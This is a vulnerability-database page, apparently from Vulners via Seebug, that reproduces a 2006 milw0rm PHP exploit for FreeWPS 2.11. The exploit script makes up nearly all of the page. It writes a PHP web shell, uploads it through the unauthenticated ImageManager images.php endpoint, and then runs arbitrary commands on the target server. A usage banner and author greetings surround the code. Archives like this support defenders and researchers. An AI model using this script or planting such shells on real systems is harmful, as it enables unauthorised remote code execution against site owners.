Lucene search
K

FreeWPS <= 2.11 (images.php) Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

FreeWPS <= 2.11 Remote Code Executio

Code

                                                &#60;?
error_reporting(E_ERROR);

function exploit_init()
{
    if (!extension_loaded(&#39;php_curl&#39;) && !extension_loaded(&#39;curl&#39;))
    {
       if (!dl(&#39;curl.so&#39;) && !dl(&#39;php_curl.dll&#39;))
       die (&#34;oo error - cannot load curl extension!&#34;);
    }
}

function exploit_header()
{
    echo &#34;\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo&#34;;
    echo &#34;                                  oo    ooooooo     ooooooo\n&#34;;
    echo &#34;                    oooo   oooo o888  o88     888 o888   888o\n&#34;;
    echo &#34;                      888o888    888        o888   888888888\n&#34;;
    echo &#34;                      o88888o    888     o888   o 888o   o888\n&#34;;
    echo &#34;                    o88o   o88o o888o o8888oooo88   88ooo88\n&#34;;
    echo &#34;ooooooooooooooooooooooooooooo freewps 2.11 exploit ooooooooooooooooooooooooooooo\n&#34;;
    echo &#34;oo usage          $ php freewps-211-exploit.php [url] [cmd]\n&#34;;
    echo &#34;oo proxy support  $ php freewps-211-exploit.php [url] [cmd] [proxy]:[port]\n&#34;;
    echo &#34;oo example        $ php freewps-211-exploit.php http://localhost &#39;ls -a&#39;\n&#34;;
    echo &#34;oo execute a command on the remote system by uploading a shell\n\n&#34;;
    echo &#34;oo command : &#34; . $_SERVER[&#39;argv&#39;][2] . &#34;\n\n&#34;;
}

function exploit_bottom()
{
    echo &#34;\noo greets   : b0xC - i want to wish you a happy 21st birthday! this is my small\n&#34;;
    echo &#34;              present for you. :)\n&#34;;
    echo &#34;oo discover : x128 - alexander wilhelm - 21/03/2006\n&#34;;
    echo &#34;oo contact  : exploit &#60;at&#62; x128.net                    oo website : www.x128.net\n&#34;;
}

function exploit_execute()
{
    $connection = curl_init();

    if ($_SERVER[&#39;argv&#39;][3])
    {
        curl_setopt($connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($connection, CURLOPT_PROXY, $_SERVER[&#39;argv&#39;][3]);
    }
    curl_setopt ($connection, CURLOPT_USERAGENT, &#39;x128&#39;);
    curl_setopt ($connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($connection, CURLOPT_HEADER, 0);

    curl_setopt ($connection, CURLOPT_URL, $_SERVER[&#39;argv&#39;][1] . &#34;/upload/shell.php&#34;);
    $source = curl_exec($connection);

    if(strpos($source, &#34;404&#34;))
    {
       $shell = fopen(&#34;shell.php&#34;, &#34;w&#34;);
       fwrite($shell, &#34;&#60;? ini_set(max_execution_time,0); passthru(\$HTTP_GET_VARS[shell]); ?&#62;&#34;);
       fclose($shell);

       curl_setopt ($connection, CURLOPT_URL, $_SERVER[&#39;argv&#39;][1] . &#34;/htmlarea/popups/ImageManager/images.php&#34;);
       curl_setopt ($connection, CURLOPT_POST, 1);
       curl_setopt ($connection, CURLOPT_POSTFIELDS, array(&#34;upload&#34; =&#62; &#34;@shell.php&#34;, &#34;dirPath&#34;=&#62; &#34;/upload&#34;));
       curl_exec($connection) or die(&#34;oo error - cannot connect!\n&#34;);

       sleep(2);
       unlink(&#34;shell.php&#34;);
    }
    curl_setopt ($connection, CURLOPT_POST, 0);
    curl_setopt ($connection, CURLOPT_URL, $_SERVER[&#39;argv&#39;][1] . &#34;/upload/shell.php?shell=&#34; . urlencode($_SERVER[&#39;argv&#39;][2]));

    $source = curl_exec($connection) or die(&#34;oo error - cannot connect!\n&#34;);

    echo $source;

    curl_close ($connection);
}

exploit_init();
exploit_header();
exploit_execute();
exploit_bottom();
?&#62;

# milw0rm.com [2006-03-21]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11